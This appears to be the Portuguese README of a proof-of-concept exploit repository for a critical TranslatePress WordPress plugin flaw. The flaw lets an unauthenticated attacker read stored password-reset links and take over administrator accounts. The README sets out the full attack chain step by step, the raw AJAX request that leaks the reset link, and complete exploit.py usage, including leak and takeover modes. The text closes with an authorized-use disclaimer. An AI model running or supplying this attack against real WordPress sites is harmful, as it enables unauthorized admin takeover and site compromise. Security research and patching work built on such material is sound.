
Exploit de prova de conceito de um dia para CVE-2026-19632, uma vulnerabilidade crítica de tomada de conta não autenticada no plugin TranslatePress para WordPress, demonstrando a divulgação do link de redefinição de senha e a tomada de conta de administrador.
CVE: CVE-2026-19632 | CVSS: 9.8 (Crítico)
Assunção de conta não autenticada por meio do plugin TranslatePress para WordPress. Tempo da publicação do CVE até o PoC funcional no Dia Um: 5 horas, 9 minutos e 40 segundos
Até a versão 3.3.1 inclusive; o problema foi corrigido na versão 3.3.2.
O TranslatePress pode traduzir e-mails de saída do WordPress e salvar suas strings traduzidas em seu banco de dados.
O TranslatePress também salva e-mails de redefinição de senha com o link completo de redefinição, incluindo a chave secreta, diretamente na tabela de tradução.
Um atacante não autenticado pode então consultar essas linhas por meio de uma ação AJAX pública do TranslatePress:
Disparar redefinição de senha
-> o e-mail de redefinição é traduzido
-> a URL de redefinição é salva no dicionário do idioma secundário
-> o endpoint AJAX público retorna a linha
-> usar a URL para definir uma nova senha de administrador
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
A cadeia de exploração exige:
Quando o WordPress envia o e-mail de redefinição, o TranslatePress alterna para o idioma preferido do destinatário e passa o e-mail pelo seu pipeline de tradução. A versão vulnerável salva strings encontradas durante esse processo, incluindo a URL de redefinição.
O TranslatePress também registra trp_get_translations_regular para visitantes não autenticados. Seu nonce é exposto em uma página traduzida pública, e a solicitação aceita IDs de linhas do dicionário selecionados pelo atacante. A enumeração desses IDs revela o e-mail de redefinição armazenado e seu link de redefinição utilizável.
| Etapa | Ação |
|---|---|
| 1 | Carregar /he/cve-lab-seed/ e extrair o nonce AJAX público do TranslatePress. |
| 2 | Enviar o formulário de senha perdida do WordPress para labadmin. |
| 3 | O TranslatePress processa o e-mail de redefinição usando o locale hebraico do administrador. |
| 4 | Enumerar linhas do dicionário por meio de trp_get_translations_regular. |
| 5 | Extrair a URL de redefinição mais recente correspondente a wp-login.php?action=rp. |
| 6 | Abrir a URL e enviar uma nova senha. |
| 7 | Realizar um novo login e exigir tanto um cookie de login do WordPress quanto acesso a /wp-admin/. |
A solicitação não autenticada relevante tem esta forma:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
O nonce e o ID de linha útil são dinâmicos, portanto o exploit.py os descobre em vez de codificá-los.
Uso mínimo:
python3 .\exploit.py --new-password 'Sua-Nova-Senha!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Sua-Nova-Senha!'
Vazar a URL de redefinição sem alterar a senha:
python .\exploit.py --stop-after leak
Disparar apenas o e-mail de redefinição de senha:
python .\exploit.py --stop-after reset
| Parâmetro | Padrão | Finalidade |
|---|---|---|
--url | http://127.0.0.1:19632 | URL base do WordPress. |
--username | labadmin | Conta para a qual a redefinição é solicitada. |
--language | he_IL | Dicionário do idioma secundário consultado pelo PoC. |
--public-path | /he/cve-lab-seed/ | Página traduzida pública usada para obter o nonce AJAX. |
--new-password | Nenhum | Nova senha; obrigatória quando --stop-after takeover é usado. |
--start-id | 1 | Primeiro ID de linha do dicionário a ser solicitado. |
--max-id | 500 | Último ID de linha do dicionário a ser solicitado. Aumente se nenhuma URL de redefinição for encontrada. |
--batch-size | 100 | IDs do dicionário solicitados por chamada AJAX. Intervalo válido: 1-500. |
--timeout | 15 | Tempo limite HTTP em segundos. |
--settle-seconds | 1 | Atraso após solicitar o e-mail de redefinição. |
--stop-after | takeover | Parar após reset, leak ou o takeover completo. |
Este projeto destina-se exclusivamente a pesquisa de segurança autorizada, educação e testes em ambientes de laboratório isolados.
Esta vulnerabilidade foi originalmente descoberta e divulgada por momopon1415.
Não use este software contra sistemas, redes ou dados sem autorização explícita do proprietário. Você é o único responsável por cumprir todas as leis aplicáveis e por quaisquer consequências resultantes do uso deste projeto.
O autor, YonLiud, fornece este projeto "como está", sem garantias de qualquer tipo, e não aceita responsabilidade por danos, perda de dados, interrupção de serviços, acesso não autorizado ou outro uso indevido causado por este software ou trabalhos derivados.
Ao usar este projeto, você reconhece e aceita estas condições.